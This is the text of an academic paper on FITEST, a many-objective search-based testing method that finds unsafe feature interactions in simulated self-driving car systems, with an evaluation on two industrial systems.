Testing Autonomous Cars for Feature Interaction Failures using Many-Objective Search Raja Ben Abdessalem University of Luxembourg Luxembourg raja.benabdessalem@uni.lu Annibale Panichella University of Luxembourg Luxembourg Delft University of Technology Netherlands a.panichella@tudelft.nl Shiva Nejati University of Luxembourg Luxembourg shiva.nejati@uni.lu Lionel C. Briand University of Luxembourg Luxembourg lionel.briand@uni.lu Thomas Stifter IEE S.A., Luxembourg Luxembourg thomas.stifter@ieee.org ABSTRACT Complex systems such as autonomous cars are typically built as a composition of features that are independent units of functionality. Features tend to interact and impact one another’s behavior in unknown ways. A challenge is to detect and manage feature interactions, in particular, those that violate system requirements, hence leading to failures. In this paper, we propose a technique to detect feature interaction failures by casting this problem into a search-based test generation problem. We define a set of hybrid test objectives (distance functions) that combine traditional coverage-based heuristics with new heuristics specifically aimed at revealing feature interaction failures. We develop a new search-based test generation algorithm, called FITEST, that is guided by our hybrid test objectives. FITEST extends recently proposed many-objective evolutionary algorithms to reduce the time required to compute fitness values. We evaluate our approach using two versions of an industrial self-driving system. Our results show that our hybrid test objectives are able to identify more than twice as many feature interaction failures as two baseline test objectives used in the software testing literature (i.e., coverage-based and failure-based test objectives). Further, the feedback from domain experts indicates that the detected feature interaction failures represent real faults in their systems that were not previously identified based on analysis of the system features and their requirements. CCS CONCEPTS - Software and its engineering → Software testing and debugging: Search-based software engineering; 1 INTRODUCTION Feature-based development aims to build complex systems consisting of units of functionality known as features. Individual features are typically traceable to specific system requirements and are mostly independent and separate from one another [37, 44, 63]. By closely mirroring requirements, features make it easier for engineers to develop complex systems iteratively and incrementally. Self-driving cars, and in general automotive systems, are among well-known examples of feature-based systems [11, 24, 76]. A self-driving system, for example, may include the following features, each automating an independent driving function: An automated emergency braking (AEB), an adaptive cruise control (ACC) and a traffic sign recognition (TSR). Although features are typically designed to be independent, they may behave differently when composed with other features. A feature interaction is a situation where one feature impacts the behavior of another feature [17, 25, 44]. For example, in a self-driving system, feature interactions are likely to arise when several features control the same actuators. More specifically, in a self-driving system, both ACC and AEB control the braking actuator. A feature interaction may arise when a braking command issued by AEB to immediately stop the car is overridden by ACC commanding the car to maintain the same speed as that of the front car. Some feature interactions are desirable, and some may result in violations of system safety requirements and are therefore undesired. For example, the above feature interaction between AEB and ACC may lead to an accident, and hence, is undesirable. The feature interaction problem has been extensively studied in the literature [7, 17, 25, 44]. Some techniques focus on identifying feature interactions at the requirements-level by analysis of formal or semi-formal requirements models [15, 18, 75]. Several techniques detect feature interaction errors in implementations using test cases derived from feature models capturing features and their dependencies [8, 35, 58, 61]. Other approaches devise design and architectural resolution strategies to eliminate at runtime undesired feature interactions identified at the requirements-level [41, 44, 70, 76]. For self-driving systems, however, feature interactions should be identified as early as possible and before the implementation stage since late resolution of undesired interactions can be too expensive and may involve changing hardware components. Further, feature interactions in self-driving systems are numerous, complex and depend on several factors such as the characteristics of sensors and actuators, car and pedestrian dynamics, weather condition, road traffic and sidewalk objects. Without effective and automated assistance, engineers cannot detect undesired feature interactions within the space of all possible interactions and cannot assess the impact of complex environmental factors on feature interactions. In this paper, we develop an automated approach to detect undesired feature interactions in self-driving systems at an early stage. Our approach identifies undesired feature interactions based on executable function models of self-driving systems embedded into a realistic simulator capturing the self-driving system hardware and environment. Building function models at an early stage is standard practice in model-based development of control systems and is commonly followed by the automotive and aerospace industry [57, 72, 74]. Function modeling takes place after identification of system requirements and prior to software design and architecture activities. Function models of control systems capture algorithmic behaviors of software components and physic dynamics of hardware components. Similar to the automotive and aerospace industry, the function models and the simulator of the self-driving system used in this paper are specified in the Matlab/Simulink language [1]. In this paper, we cast the problem of detecting undesired feature interactions into a search-based testing problem. Specifically, we aim to generate test inputs that expose undesired feature interactions when applied to executable function models of self-driving systems. Search-based techniques have been successfully applied to simulation-based testing of control systems and self-driving features [3, 13, 14, 23, 53, 54] as well as various other testing problems such as unit testing [38, 55, 69], regression testing [49, 73] and optimizing machine learning components [66]. Contributions. Our contributions are as follows: First, we define novel hybrid test objectives that determine how far candidate tests are from detecting undesired interactions. Our test objectives combine three different heuristics: (i) A branch coverage heuristic [55] ensuring that the generated test cases exercise all branches of the component(s) integrating features. (ii) A failure-based heuristic based on system safety requirements ensuring that test cases stress the system into breaking its safety requirements. (iii) An unsafe overriding heuristic that aims to exhibit system behaviors where some feature output is overridden by other features such that some system safety requirements may be violated. Second, we introduce FITEST (Feature Interaction TESTing), a new many-objective test generation algorithm to detect undesired feature interactions. We opt for a many-objective optimization algorithm since test generation in our context is driven by many competing test objectives resulting from the combination of heuristics above. Specifically, FITEST builds on the recently proposed many-objective genetic algorithms [59, 60] that effectively generate test cases satisfying a large number of test objectives. In our work, computing test objectives is expensive. Hence, at each iteration, FITEST dynamically selects the minimum number of test cases closest to satisfying test objectives, thus reducing the total number of fitness computations. Third, we evaluate FITEST using two industrial self-driving systems from our partner company IEE [43]. Both systems represent a (partial) self-driving car consisting of four features. The engineers at IEE had developed alternative strategies to resolve the known feature interactions in these two systems. FITEST, however, was able to identify, on average, 5.9 and 7.2 undesired feature interactions in the two systems, respectively. The engineers confirmed that the detected interactions represent real faults that were not a priori known to them\(^1\). Further, we compared our hybrid test objectives used by FITEST with two baseline test objectives from the software testing literature (namely, coverage-based [38, 55] and failure-based test objectives [4, 13, 20, 23]). Our results show that our hybrid test objectives are able to identify more than twice as many feature interaction failures as the coverage-based and failure-based test objectives. Structure. Section 2 motivates our work. Section 3 presents our approach. Section 4 describes our evaluation. Section 5 compares with related work. Section 6 concludes the paper. 2 MOTIVATION Figure 1 shows an overview of a typical function model capturing the software subsystem of a self-driving car. The system under test (SUT) consists of a set of self-driving features and a component capturing the decision algorithm combining feature outputs. SUT receives its inputs from sensors/cameras and sends its outputs to actuators. Both inputs and outputs are sequences of timestamped values. The entire SUT runs iteratively at regular time steps. At every time step, the features receive sensor/camera values issued in this step, and output values are computed and sent to actuators by the end of the step. Each feature controls one or more actuators. Actuators may receive commands from more than one feature at the same time step, and sometimes these commands are conflicting. The integration component has to generate final outputs to actuators after resolving conflicting feature outputs. As discussed in Section 1, our goal is to identify feature interactions at the requirements-level and in terms of system functional behavior. Hence, we base our analysis on function models specifying algorithmic and control behaviors. Feature interaction failures due to software architecture and design issues are not studied in this paper. We use a case study system, called SafeDrive, from our partner company IEE. SafeDrive contains the following four self-driving features: Autonomous Cruise Control (ACC), Traffic Sign Recognition... In the next sections, we present and evaluate a technique that develops test inputs revealing feature interaction failures. As discussed earlier, our technique generates test inputs for function models of self-driving systems, exposing their undesired feature interactions. Section 3.1 describes how we integrate the function models into a high-fidelity, physics-based simulator for self-driving systems. Section 3.2 characterizes the test inputs and outputs for self-driving systems. Section 3.3 introduces our hybrid test objectives. Section 3.4 presents FITEST, our proposed many-objective test generation algorithm that utilizes our test objectives to generate test inputs revealing feature interaction failures. 3 APPROACH In this section, we present our feature interaction detection technique. As discussed earlier, our technique generates test inputs for function models of self-driving systems, exposing their undesired feature interactions. Section 3.1 describes how we integrate the function models into a high-fidelity, physics-based simulator for self-driving systems. Section 3.2 characterizes the test inputs and outputs for self-driving systems. Section 3.3 introduces our hybrid test objectives. Section 3.4 presents FITEST, our proposed many-objective test generation algorithm that utilizes our test objectives to generate test inputs revealing feature interaction failures. 3.1 Testing Feature-Based Control Systems Testing Cyber-Physical Systems (CPSs) at early stages is generally performed using simulators. To test the function model in Figure 1, we connect the SUT model to a simulator such that it receives inputs from the sensor and camera models of the simulator and sends its outputs to the actuator models of the simulator (see Figure 2). The sensor, camera, and actuator models are within a physical model of a car (or a physical plant according to general CPS terminology) in the simulator. To run the simulator, we specify the initial state of the simulator physical plant and mobile environment objects as well as the static environment properties (e.g., weather condition and road shapes for self-driving systems). The simulator can execute the SUT in a feedback loop with the plant and the environment. For SafeDrive, we use PreScan, a physics-based simulator for self-driving systems [67]. PreScan relies on dynamic Simulink models to compute movements of cars and pedestrians and is able to capture the environment static properties such as the weather condition and the road topology. Some examples of SafeDrive simulations are available online [2]. 3.2 Test Inputs and Outputs The test inputs for a self-driving system are the inputs required to execute the simulation framework in Figure 2. For example, to test SafeDrive, we start by instantiating the simulation framework so that the simulator is able to exercise the behaviors of the PP, AEB, TSR and ACC features. Our simulation framework contains the following objects: (1) An ego car equipped with SafeDrive, (2) a leading car to test both the ACC and the AEB features of the ego car, and (3) a pedestrian that crosses the road starting from an initial position on the sidewalk and is used to exercise PP. The simulation environment, further, includes one traffic sign to test the TSR feature. We only consider a stop sign or a speed limit sign for our case study. This setup is meant to reduce the complexity of simulations and was suggested by the domain experts. The test inputs of SafeDrive are shown in Figure 3. They include the following variables: (1) The initial position \( x_0^p, y_0^p \) and the initial speed \( v_0^p \) of the ego car. (2) The initial position \( x_0^l, y_0^l \) and the initial speed \( v_0^l \) of the leading car. (3) The initial position \( x_0^p, y_0^p \), the initial speed \( v_0^p \) and the orientation \( \theta^p \) of the pedestrian. (4) The position \( x^{ts} \) of the traffic sign that varies along the x-axis, but is fixed along the y-axis. (5) The fog degree \( fg \). In our simulator, among different weather-related properties (e.g., snow and rain), the fog level has the largest impact on the object detection capabilities of SafeDrive. Hence, we include the fog level in the test inputs. All the above variables except for \( fg \) are float numbers varying within ranges specified by domain experts. The variable \( fg \) is an enumeration specifying ten different degrees of fog. In addition to the domain value ranges, there are often some constraints over test inputs to ensure that simulations start from a valid and meaningful state. Specifically, we have the following two constraints for SafeDrive: (i) The ego car starts behind the leading car with a safety distance gap, denoted \( sd \), and with a speed close to the speed of the leading car. This constraint is specified as follows: \( sd - e \leq x_0^l - x_0^e \leq sd + e \) and \( |v_0^l - v_0^e| \leq e' \) where \( e \) and \( e' \) are two small constants, and \( sd \), which is the safety distance gap between the ego and the leading cars, is determined based on the car speeds. (ii) The traffic sign is located within a sufficiently long distance from the ego car to give enough time to the TSR feature to react (i.e., \( |x^{ts} - x_0^p| < c \) where \( c \) is constant value). Finally, to simulate the system, we need to specify the duration of the simulation \( T \) and the simulation step size \( \delta \). As shown in Figure 2, the simulator outputs are time-stamped vectors specifying (1) SUT outputs, (2) states of the physical plants and (3) states of any mobile environment object. All these outputs are vectors with \( f \) elements where the element at position \( i \) specifies the output at time \( i \cdot \delta \). For example, Figure 4 illustrates the SUT outputs generated by simulating SafeDrive. Specifically, the SUT outputs in that figure include both the outputs of each feature inside the SUT and the output of the integration component, i.e., the final command vector sent to the actuators. 3.3 Hybrid Test Objectives Our test objectives aim to guide the test generation process towards test inputs that reveal undesired feature interactions. We first present our formal notation and assumptions and then we introduce our test objectives. Note that since in this paper we are primarily interested in the feature interaction problem, we design our test objectives such that they focus on detecting failures that arise due to feature interactions, but not failures that arise due to an individual feature being faulty. **Notation.** We define a feature-based control system \( F \) as a tuple \((f_1, \ldots, f_n, \text{IntC})\) where \( f_1, \ldots, f_n \) are features and \( \text{IntC} \) is an integration component. The system \( F \) controls a set \( Act \) of actuators. Each feature \( f_i \) controls a set \( Act_i \subseteq Act \) of actuators. Since we are interested in identifying feature interaction failures and not failures due to errors inside individual features, our approach does not require any visibility into the internals of features. But, in our work, \( \text{IntC} \) is a white-box component. The \( \text{IntC} \) behavior is typically conditional where each condition checks a specific feature interaction situation and resolves potential conflicts that may arise under that condition. We assume \( F \) has a set of safety requirements such that each requirement is related to one feature which is responsible for the satisfaction of that requirement. For example, the second column of Table 1 shows the safety requirements for SafeDrive. The feature responsible for satisfying each requirement is shown in the first column. Table 1: Safety requirements and failure distance functions for SafeDrive. <table> <thead> <tr> <th>FeatureRequirement</th> <th>Failure distance functions ( FD_1, \ldots, FD_5 )</th> </tr> </thead> <tbody> <tr> <td>PP</td> <td>No collision with pedestrians</td> </tr> <tr> <td>AEB</td> <td>No collision with cars</td> </tr> <tr> <td>TSR</td> <td>Stop at a stop sign</td> </tr> <tr> <td></td> <td>Let ( u(i) ) be the speed of the ego car at time step ( i ) if a stop sign is detected, and let ( u(i) = 0 ) if there is no stop sign. We define ( FD_3(i) = 0 ) if ( u(i) \geq 5 \text{ km/h}; \quad FD_3(i) = \frac{1}{u(i)} ) if ( u(i) \neq 0 ); and otherwise, ( FD_3(i) = 1 ).</td> </tr> <tr> <td>TSR</td> <td>Respect the speed limit</td> </tr> <tr> <td></td> <td>Let ( u'(i) ) be the difference between the speed of the ego car and the speed limit at step ( i ) if a speed-limit sign is detected, and let ( u'(i) = 0 ) if there is no speed-limit sign. We define ( FD_4(i) = 0 ) if ( u'(i) \geq 10 \text{ km/h}; \quad FD_4(i) = u'(i) ) if ( u'(i) \neq 0 ); and otherwise, ( FD_4(i) = 1 ).</td> </tr> <tr> <td>ACC</td> <td>Respect the safety distance</td> </tr> <tr> <td></td> <td>( FD_5(i) ) is the absolute difference between the safety distance ( sd ) and ( FD_2(i) ).</td> </tr> </tbody> </table> As discussed earlier, testing \( \mathcal{F} \) is performed by connecting \( \mathcal{F} \) to a simulation framework (see Figure 2). A test case for \( \mathcal{F} \) is a vector \( X \) of inputs required to execute the simulation framework into which \( \mathcal{F} \) is embedded (e.g., Figure 3 shows the test input vector for SafeDrive). The test output of \( \mathcal{F} \) includes: (1) a vector \( v_{\text{act}} \) generated by every feature \( f \) and for every actuator \( \text{act} \in \text{Act} \); (2) a vector \( v_{\text{act}} \) generated by \( \text{IntC} \) for each actuator \( \text{act} \in \text{Act} \); and (3) a trajectory vector for the physical plant and every mobile environment object. Test objectives. A key aspect in search-based software testing [40, 55] is the notion of distance functions \( D(.) \) that measure how far a candidate test \( X \) is from reaching testing targets (e.g., covering branches in white-box testing). Our testing targets aim to reveal undesired feature interactions. An undesired feature interaction is revealed when: (1) Some safety requirement \( r \) is violated such that (2) the integration component (i.e., \( \text{IntC} \)) overrides the output of the feature responsible for \( r \). We note that if \( r \) is violated while \( \text{IntC} \) selects the output of the feature responsible for \( r \), then the violation is likely to be due to the internals of that feature and not due to feature interactions. Therefore, we define two distance functions, namely failure distance and unsafe overriding distance to respectively capture the conditions (1) and (2) above. Further, we ensure that the generated tests exercise all branches of \( \text{IntC} \). Hence, our third distance corresponds to the well-known distance used in coverage-based testing [55]. In the following, we present each distance separately and then we describe how we combine them to build our test objectives. Coverage distance. First, the generated test cases have to exercise every branch of \( \text{IntC} \). Given that \( \text{IntC} \) is white-box, we rely on two widely-used heuristics in branch coverage, namely the approach level [55] and the normalized branch distance [38, 55]. Each branch \( b_i \) in \( \text{IntC} \) has its own distance function \( BD_i \) to minimize which is defined according to the two heuristics above. The distance \( BD_i \) is equal to zero if a candidate test case \( tc \) covers the associated branch \( b_i \). braking. Dually, the requirements in Table 1 are more likely to fail when we accelerate faster than when we accelerate more slowly. Note that test cases that violate safety requirements without IntC unsafely overriding any feature do not fail due to faults in IntC. This is because, for such test cases, either IntC does not override any decision of any individual feature or its decision to override a feature does not increase the likelihood of violating a safety requirement. Hence, such test cases fail due to a fault in a feature. For IntC to be faulty, it is necessary that \( v_{act} \) unsafely overrides \( v_{f}^{act} \) in some simulation time step. For each feature \( f \), we define an unsafe overriding distance \( UOD_f \) such that \( UOD_f = 0 \) iff IntC unsafely overrides the output of \( f \) at least once during the simulation, and otherwise, \( UOD_f > 0 \). Such a distance guides the search towards generating tests that cause IntC to unsafely override \( f \). To compute \( UOD_f \), we define \( UOD_{act}^{f} \) for each actuator act controlled by \( f \). For actuators where higher force values are safer (e.g., braking), IntC unsafely overrides \( f \) when \( v_{act}(i) > v_{act}(i) \) (i.e., when, at step \( i \), \( f \) orders to brake more strongly than IntC). We use the traditional branch distance for the greater-than condition [47] to translate this condition into a distance function. That is, for such actuators, we define \( UOD_{act}^{f} \) at each simulation step \( i \), as follows: \[ UOD_{act}^{f}(i) = \begin{cases} v_{act}(i) - v_{act}(i) , & \text{if } v_{act}(i) < v_{act}(i) \\ 0 , & \text{otherwise} \end{cases} \] Dually, for actuators that lower force values are safer (e.g., acceleration), IntC unsafely overrides \( f \) when \( v_{act}(i) < v_{act}(i) \) (i.e., when the accelerating command of \( f \) is less than that of IntC at step \( i \)). Following the traditional branch distance for the less-than condition [47], we define \( UOD_{act}^{f} \) for this kind of actuators as follows: \[ UOD_{act}^{f}(i) = \begin{cases} v_{act}(i) - v_{act}(i) , & \text{if } v_{act}(i) > v_{act}(i) \\ 0 , & \text{otherwise} \end{cases} \] We compute \( UOD_f(i) = \sum_{act \in Act} UOD_{act}^{f}(i) \) where each \( UOD_{act}^{f} \) is defined as either one of the above equations depending on the type of \( f \). The \( UOD_f \) function is our unsafe overriding distance function. Specifically, \( UOD_f(i) = 0 \) implies that IntC unsafely overrides the output of \( f \) at step \( i \). Similarly, a small or large value of \( UOD_f(i) \) indicates that a test case is, respectively, close to or far from causing IntC to unsafely override \( f \) at step \( i \). Combined distances. We now describe how we combine the three distance functions to obtain our final hybrid test objectives for detecting undesired feature interactions. Note that coverage distance, failure distance and unsafe overriding distance have different units of measure (e.g., km/h, meters) and different ranges. Thus, we first normalize these distances before combining them into one single hybrid function. To this aim, we rely on the well-known rational function \( o_1(x) = x/(x + 1) \) since prior studies [9] have empirically shown that, compared to other normalization functions, it provides better guidance to the search for minimization problems (e.g., distance functions in our case). In the following, we denote the normalized forms of the functions above as \( \overrightarrow{PD}, \overrightarrow{UOD} \) and \( \overrightarrow{BD} \), respectively. To maximize the likelihood of detecting undesired feature interactions, we aim to execute every branch of IntC such that while executing that branch, IntC unsafely overrides every feature \( f \), and further, its outputs violate every safety requirement related to \( f \). Therefore, for every branch \( j \) of IntC, every safety requirement \( l \) of \( F \), and every simulation time step \( i \), we define a hybrid distance \( \Omega_{j,l}(i) \) as follows: \[ \Omega_{j,l}(i) = \begin{cases} \overrightarrow{BD}_{l}(i) + \overrightarrow{UOD}_{max}(i) & \text{if } j \text{ is not covered } (\overrightarrow{BD}_{l}(i) > 0) \\ \overrightarrow{UOD}_{max}(i) + \overrightarrow{BD}_{max}(i) & \text{if } j \text{ is covered, but } f \text{ is not unsafely overridden } (\overrightarrow{BD}_{l}(i) = 0 \land \overrightarrow{UOD}_{f}(i) > 0) \\ \overrightarrow{BD}_{max}(i) & \text{otherwise } (\overrightarrow{BD}_{l}(i) = 0 \land \overrightarrow{UOD}_{f}(i) = 0) \end{cases} \] where \( f \) is the feature responsible for the requirement \( l \), while \( \overrightarrow{BD}_{max} = 1 \) and \( \overrightarrow{UOD}_{max} = 1 \), indicating the maximum value of the normalized functions. Each hybrid distance function \( \Omega_{j,l}(i) \) is defined for each simulation step \( i \). Corresponding to each hybrid distance function, we define a test objective \( \Omega_{j,l} \) for the entire simulation time interval as follows: \( \Omega_{j,l} = \min[\Omega_{j,l}(i)_{0 \leq i \leq T}] \). Given a test case \( tc \), each test objective \( \Omega_{j,l}(tc) \) always yields a value in \([0, 3] \); \( \Omega_{j,l}(tc) > 2 \) indicates that \( tc \) has not covered branch \( j \); \( 2 \geq \Omega_{j,l}(tc) > 1 \) indicates that \( tc \) has covered branch \( j \), but has not caused IntC to unsafely override some feature \( f \) related to requirement \( l \); \( 1 \geq \Omega_{j,l}(tc) > 0 \) indicates that \( tc \) has covered branch \( j \), and has caused IntC to unsafely override some feature \( f \) related to requirement \( l \), but has not violated requirement \( l \); and finally, \( \Omega_{j,l}(tc) = 0 \) when \( tc \) has covered branch \( j \), has caused IntC to unsafely override some feature \( f \) related to \( l \) and has violated requirement \( l \). ### 3.4 Search Algorithm When testing a system we do not know a priori which safety requirements may be violated. Neither do we know in which branches of IntC the violations may be detected. Therefore, we search for any violation of system safety requirements that may arise when exercising any branch of IntC. This leads to \( k \times n \) test objectives where \( k \) is the number of branches of IntC and \( n \) is the number of safety requirements. More formally, given a feature-based control system \( F \) under test, our test generation problem can be formulated as follows: **Definition.** Let \( \Omega = \{ \Omega_{1}, \ldots, \Omega_{n} \} \) be the set of test objectives for \( F \), where \( k \) is the number of branches in IntC and \( n \) is the number of safety requirements of \( F \). Find a test suite that covers as many objectives \( \Omega_{i,j} \) as possible. Our problem is many-objective as we attempt to optimize a relatively large number of test objectives. As a consequence, we have to consider many-objective optimization algorithms, which are a class of search algorithms suitably defined for problems with more than three objectives. Various many-objective metaheuristics have been proposed in the literature, such as NSGA-III [33], Hype [12]. These algorithms are designed to produce different alternative trade-offs that can be made among the search objectives [48]. Recently, Panichella et al. [59, 60] argued that the purpose of test case generation is to find test cases that separately cover individual test objectives rather than finding solutions capturing well-distributed and diverse trade-offs among the search objectives. Hence, they introduced a new search algorithm, namely MOSA [59], that (i) rewards test cases that cover at least one objective over those that yield a low value on several objectives without covering any; (ii) focuses the search on the yet uncovered objectives; and (iii) stores all tests covering one or more objectives into an archive. MOSA has been introduced in the context of white-box unit testing and has shown to outperform alternative search algorithms [59, 60]. In this paper, we introduce FITEST, a novel search algorithm that extends MOSA and adapts it to testing feature-based self-driving systems. Below, we describe the main loop of FITEST whose pseudo-code is shown in Algorithms 1. We then discuss the differences between FITEST and MOSA. **Main loop.** As Algorithm 1 shows, FITEST starts by generating an initial set $P$ of randomly generated test cases (line 2), called population. Each test case $X \in P$ is a vector of inputs required to simulate the SUT (e.g., see Figure 3). After simulating each test case $X \in P$, the test objectives $\Omega_{i,j}$ for $X$ are computed based on the simulation results (see Section 3.3). Next, tests are evolved through subsequent iterations (loop in lines 7-16), called generations. In each generation, the binary tournament selection [34] is used to select pairs of fittest test cases for reproduction. During reproduction (line 8), two tests (parents) are recombined to form new test cases (offsprings) using the crossover and mutation operators. Finally, fittest tests are selected among the parents and offsprings to form the new population for the next generation (line 14). Below, we describe the new and specific features of FITEST. **Initialization.** The size of the initial population in FITEST is equal to the number of test objectives. This is because, in our context, running each single test case is expensive, taking up to few minutes, as it requires running computationally intensive simulations. Hence, in FITEST, we aim to cover each test objective at most once by at most one test case. Therefore, we do not need to start the search with a population larger than the number of test objectives. We select the initial population such that it includes a diverse and randomly selected set of test input vectors. This is because we aim to include different traffic situations, (e.g., different trajectory angles and speeds of pedestrians) in our initial population. To do so, we use an adaptive random search algorithm [51], which is an extension of the naive random search that attempts to maximize the Euclidean distance between the vectors selected in the input space. In contrast to FITEST, the initial population in MOSA is a set of randomly generated tests without any diversity mechanism, and the size of the population is an input parameter of the algorithm. **Genetic recombination.** Since our test inputs (i.e., $X$) are vectors of float values (see Figure 3), we use two widely-used genetic operators proposed for real number solution encodings: the simulated binary crossover [30] (SBX) and the gaussian mutation [32]. Prior studies [32, 42] show that, for numerical vectors, these operators outperform the more classical ones. In contrast, MOSA uses the classical single-point crossover and uniform mutation implemented in EvoSuite [38] to handle different types of test data, e.g., strings, Java objects, etc. **Correction operator.** Recall from Section 3.2 that our test inputs are characterized by constraints. Hence, genetic operators may yield invalid tests (e.g., a test input where the leading car is behind the ego car). To modify and correct such cases, FITEST applies correction operators (line 9 in Algorithm 1). For example, in SafeDrive, if after applying genetic operators, the leading car position ($x_0^l$) and speed ($v_0^l$), and the traffic sign position ($x_0^v$) violate any of the constraints described in Section 3.2, we discard their values and randomly select new values for these variables within ranges enforced by the ego car position ($x_0^e$) and speed ($v_0^e$). **Archive.** Similar to MOSA, every time new tests are generated and evaluated (either at the beginning or during the search), FITEST uses the GET-COVERED-OBJECTIVE routine to identify newly covered objectives and the test cases covering them. These objectives are removed from the set of test objectives (line 6, 13) to not be used by the environmental selection in the subsequent iterations. Further, test cases covering the removed test objectives are put in an archive [59, 60, 64] (i.e., $A$). The archive at the end contains the FITEST results. Each test case in the archive covers one of the test objectives being satisfied during the search. Note that some test objectives may not be covered within the search time or they may be infeasible (unreachable). **Environmental selection.** In FITEST, at each iteration, a new population with a size not necessarily the same as the previous population size is formed (line 15 in Algorithm 1) by selecting, for each uncovered test objective $\Omega_{i,j}$, the test case in $P \cup Q$ that is closest to covering that objective (preference criterion [59]). The population size at each iteration is lower than the number of objectives. It can even be less than the number of test objectives because a single test case may be selected as the closest (fittest) test for multiple objectives. Further, the population size is likely to decrease over iterations since, at each iteration, test objectives are covered and excluded from the environmental selection in the subsequent iterations. The population size represents the main difference between FITEST and similar search-based test generation algorithms. In classical many-objective search algorithms, the environment selection chooses a fixed number $N$ of tests (i.e., to maintain a constant population size) from offsprings and their parents (i.e., from $P \cup Q$ using the Pareto optimality [31, 34] (i.e., selecting solutions that are non-dominated by any other solutions in $P \cup Q$). In MOSA, the population size is kept constant as well but the selection is performed by first selecting the test cases in the first front $F_0$ built using the preference criterion; then, if the size of $F_0$ is less than $N$, MOSA uses the Pareto optimality criterion to select enough test cases such that in total $N$ test cases are selected. In contrast, FITEST minimizes the number of test cases generated at each search iteration by evolving only test cases that are closest to satisfying uncovered objectives, i.e., those in \( F_0 \). This helps reducing the search computation time compared to existing many-objective search algorithms that typically maintain and evolve a fixed number of solutions at each iteration. This is particularly important in the context of our work, since running each test case is expensive. 4 EVALUATION In this section, we evaluate our approach to detecting undesired feature interactions using real-world automotive systems. 4.1 Research Questions The goal of our study is to assess how effectively our hybrid test objectives (hereafter referred to as Hybrid) guide the search toward revealing feature interaction failures. As described in Section 3.3, Hybrid builds on three distance functions: (1) coverage, (2) failure, and (3) unsafe overriding. Among these, coverage distance is a well-known heuristic that has been extensively used in white-box testing [38, 39, 55]. For example, Fraser and Arcuri [39] showed that pure coverage-based distance can be used to generate unit tests capable of detecting real faults. Variations of the failure distance have also been used in different contexts to generate tests revealing requirements violations [4, 13, 20]. Therefore, we want to assess whether Hybrid provides any benefits compared to pure coverage-based and failure-based objectives. In particular, we formulate the following research questions: **RQ.** Does Hybrid reveal more feature interaction failures compared to coverage-based and failure-based test objectives? Coverage-based objectives, hereafter referred to as Cov, correspond to the BD functions described in Section 3.3 and are computed as the sum of the approach level [56] and the normalized branch distance [56]. Therefore, Cov aims to execute as many branches of IntC as possible. Failure-based test objectives, hereafter referred to as Fail, aim to generate test cases that execute as many branches of IntC as possible while violating as many system safety requirements as possible when executing each branch. Thus, Fail is defined by combining branch distance BD and failure distance FD functions described in Section 3.3. More precisely, for each branch \( j \) of IntC and every safety requirement \( l \) of \( F \), a failure-based test objective is defined as Min\(\{\text{Fail}_{ij}(i)\}_{0 \leq l \leq \frac{7}{3}} \) where \[ \text{Fail}_{ij}(i) = \begin{cases} \text{BD}_{ij}(i) + \text{FD}_{\text{max}} & \text{if } j \text{ is not covered} \\ \text{BD}_{ij}(i) & \text{otherwise} \end{cases} \] In this paper, we focus our empirical evaluation on comparing Hybrid with alternative test objectives, but we do not compare FITEST with alternative many-objective search algorithms because, as discussed in Section 3.4, our changes to MOSA are primarily motivated by the practical needs of (1) using genetic operators for numerical vectors (often called real-coded operators [32, 42]) and (2) lowering the running time of our algorithm by reducing the number of (expensive) fitness computations at each generation. In our preliminary experiments, running MOSA with its default population size of 50 [59] required more than 24 hours for only 10 generations. Further, previous studies showed that MOSA, which is the algorithm underlying FITEST, outperforms other search-based algorithms in unit testing, such as random search [26], whole suite search [26, 59], and other many-objective evolutionary algorithms [60]. 4.2 Case Study Systems We evaluate our approach by applying it to two case study systems developed by IEE. Both systems contain the four self-driving features introduced in Section 2. However, since engineers had developed two alternative sets of rules to prioritize these features and to resolve their undesired interactions, they developed two different function models for the integration component (i.e., IntC). Due to confidentiality reasons, we do not share the details of the IntC models used in these two systems. Both systems are developed in Matlab/Simulink and can be integrated into PreScan, the simulator used in this paper. We refer to these systems as SafeDrive1 and SafeDrive2. 4.3 Experimental Settings For the genetic operators used in FITEST, we use the parameter values suggested in the literature [21, 29, 34]: We use the simulated binary crossover (SBX) with a crossover probability 0.60, as the recommended interval is [0.45, 0.95] [21, 29]. The gaussian mutation changes the test inputs by adding a random value selected from a normal distribution \( \mathcal{O}(\mu, \sigma) \) with mean \( \mu = 0 \) and variance \( \sigma^2 = 1.0 \). As the guidelines suggest [34], the mutation probability is set to 1/l where \( l \) is the length of test inputs (chromosomes). In FITEST, we do not need to manually set the population size since, as described in Section 3.4, it is dynamically updated at each generation. The search stops when all the objectives are covered or when the timeout of 12 hours is reached. We set a timeout of 12 hours because as we will discuss in Section 4.4, the search results start to stabilize and reach a plateau within this time budget. Further, according to domain experts, longer search time budgets are not practical. To account for the randomness of the search algorithm, FITEST was executed 20 times on each case study system and with each of the three test objectives. The total duration of the experiment was 20 (repetitions) \times 2 \times 3 \times 12 \times 60 = 1440 hours (60 days). All experiments were executed on the same machine with a 2.5 GHz Intel Core i7-4870HQ CPU and 16 GB DDR3 memory. We use the **number of feature interaction failures** that each of the test objectives in our study can reveal as our evaluation metric. We compute this metric by automatically checking test cases generated by each test objective to determine whether or not they reveal a feature interaction failure. A test case reveals a feature interaction failure iff: (1) it violates some system safety requirement in Table 1 when it is applied to a system consisting of multiple features, but (2) it does not violate that same safety requirement when it is applied to the feature responsible for the satisfaction of that requirement. Specifically, a test case \( tc \) reveals a feature interaction if \( F_D(tc) = 0 \) for some safety requirement \( i \) when \( tc \) is applied to SafeDrive1 or SafeDrive2, but \( F_D(tc) > 0 \) when \( tc \) is applied to the feature responsible for requirement \( i \). 4.4 Results In this section, we answer our research question by comparing Hybrid, Fail and Cov test objectives. Specifically, we run FITEST Number of feature interaction failures was only partially achieved. This is expected since, as discussed with Hybrid, Fail and Cov as test objectives separately and repeat each run for 20 times. Figures 5(a) and (b) compare the number of feature interaction failures identified over different runs of FITEST with Hybrid, Fail and Cov applied to SafeDrive1 and SafeDrive2, respectively. We show the results at every one-hour interval from 0 to 12h. As shown in the two figures, the average number of feature interaction failures computed using Hybrid is always larger than those identified by Fail and Cov. Specifically, after 12h, on average, Hybrid is able to find 5.9 and 7.2 feature interaction failures for SafeDrive1 and SafeDrive2, respectively. In contrast, Fail uncovers, on average, 2.1 and 2.8 feature interaction failures for SafeDrive1 and SafeDrive2, respectively; and Cov only uncovers, on average, 0.4 and 1.8 feature interaction failures for SafeDrive1 and SafeDrive2, respectively. Further, after executing the algorithms for 10h, the results obtained by the three test objective alternatives reach a plateau. Note that every run of FITEST with Hybrid, Fail 